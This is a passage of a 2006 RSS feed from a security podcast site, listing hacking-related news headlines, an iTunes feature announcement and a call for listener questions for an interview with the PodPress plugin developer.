Man charged with accessing USC student data
Tsunami appeal site &#8216;hacker&#8217; found guilty
]]></description>
			<content:encoded><![CDATA[<p>A quick in between to the Hands On Series, I chat about some news and issues of the day.</p>
<p><a href="http://www.zone-h.org/en/news/read/id=206009/">Turkish Hacker defaces 38,000 websites hosted on GoDaddy</a></p>
<p><a href="http://www.securityfocus.com/news/11239">Flawed USC admissions site allowed access to applicant data</a></p>
<p><a href="http://www.securityfocus.com/news/11389/1">Breach case could curtail Web flaw finders</a></p>
<p><a href="http://www.securityfocus.com/brief/191">Man charged with accessing USC student data</a></p>
<p><a href="http://news.zdnet.co.uk/0,39020330,39226548,00.htm">Tsunami appeal site &#8216;hacker&#8217; found guilty</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/mighty-seek-podcast-15-news-and-misc-topics/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
			<enclosure url="http://www.mightyseek.com/audio/MightySeek-15-2006-05-23-NewsAndMiscTopics.mp3" length="24381600" type="audio/mpeg"/>
<itunes:duration>33:50</itunes:duration>
		<itunes:subtitle>A quick in between to the Hands On Series, I chat about some news and issues of the day.

Turkish Hacker defaces 38,000 websites hosted on ...</itunes:subtitle>
		<itunes:summary>A quick in between to the Hands On Series, I chat about some news and issues of the day.

Turkish Hacker defaces 38,000 websites hosted on GoDaddy
Flawed USC admissions site allowed access to applicant data
Breach case could curtail Web flaw finders
Man charged with accessing USC student data
Tsunami appeal site #8216;hacker#8217; found guilty</itunes:summary>
		<itunes:keywords>Podcasts,,Web,App,Sec</itunes:keywords>
		<itunes:author>Dan Kuykendall</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>The Security Roundtable » Featured in the iTunes Music Store</title>
		<link>http://www.mightyseek.com/podcasts/the-security-roundtable-%c2%bb-featured-in-the-itunes-music-store</link>
		<comments>http://www.mightyseek.com/podcasts/the-security-roundtable-%c2%bb-featured-in-the-itunes-music-store#comments</comments>
		<pubDate>Wed, 24 May 2006 23:40:05 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Web App Sec]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/2006/09/13/the-security-roundtable-%c2%bb-featured-in-the-itunes-music-store/</guid>
		<description><![CDATA[The Security Roundtable » Blog Archive » SRT in the iTunes Music Store
The podcasting group Im a part of now has its own Artist Group in iTunes and is featured on the podcasting home page. Im pretty excited about this and look forward to any new listeners that join in due to the exposure.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.securityroundtable.com/?p=5">The Security Roundtable » Blog Archive » SRT in the iTunes Music Store</a></p>
<p>The podcasting group Im a part of now has its own Artist Group in iTunes and is featured on the podcasting home page. Im pretty excited about this and look forward to any new listeners that join in due to the exposure.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podcasts/the-security-roundtable-%c2%bb-featured-in-the-itunes-music-store/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Questions for podcast with Dan (PodPress developer)</title>
		<link>http://www.mightyseek.com/podpress/questions-for-podcast-with-dan-podpress-developer</link>
		<comments>http://www.mightyseek.com/podpress/questions-for-podcast-with-dan-podpress-developer#comments</comments>
		<pubDate>Thu, 18 May 2006 22:31:14 +0000</pubDate>
		<dc:creator>Seek3r</dc:creator>
				<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[podPress]]></category>

		<guid isPermaLink="false">http://www.mightyseek.com/2006/05/18/questions-for-podcast-with-dan-podpress-developer/</guid>
		<description><![CDATA[James Woodcock will be interviewing me in the coming days, and so posted this on the forums.
Click here to get to the forum topic
Dan (Mighty Seek) developer of the PodPress plugin for Wordpress, will be interviewed in one of my future blogcasts on my website.
If you have any questions you would like him to answer [...]]]></description>
			<content:encoded><![CDATA[<p>James Woodcock will be interviewing me in the coming days, and so posted this on the forums.</p>
<p><a href="http://www.mightyseek.com/forum/showthread.php?t=251">Click here to get to the forum topic</a></p>
<p>Dan (Mighty Seek) developer of the PodPress plugin for Wordpress, will be interviewed in one of my future blogcasts on my website.</p>
<p>If you have any questions you would like him to answer about either his PodPress plugin or security, please ring my automated (non-premium) voicemail on UK: 0207 193 3092 or Worldwide: +44 207 193 3092 or for free on skype id: glidem</p>
<p>The best questions will be included in the show…..<br />
__________________<br />
&gt;&gt; <a href="http://www.jameswoodcock.co.uk/?p=252">Hear more about PodPress, in my audio interview with Dan Kuykendall</a> &lt;&lt;</p>
<p><a href="http://www.jameswoodcock.co.uk">http://www.jameswoodcock.co.uk</a> &#8211; My personal online diary covering the internet that I find of interest including audio interviews, music, gaming, technology, gadgets, websites, free downloads and general articles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mightyseek.com/podpress/questions-for-podcast-with-dan-podpress-developer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
		
				<hasReview>false</hasReview>
				<reviews>
					</reviews>
	</data>
</site>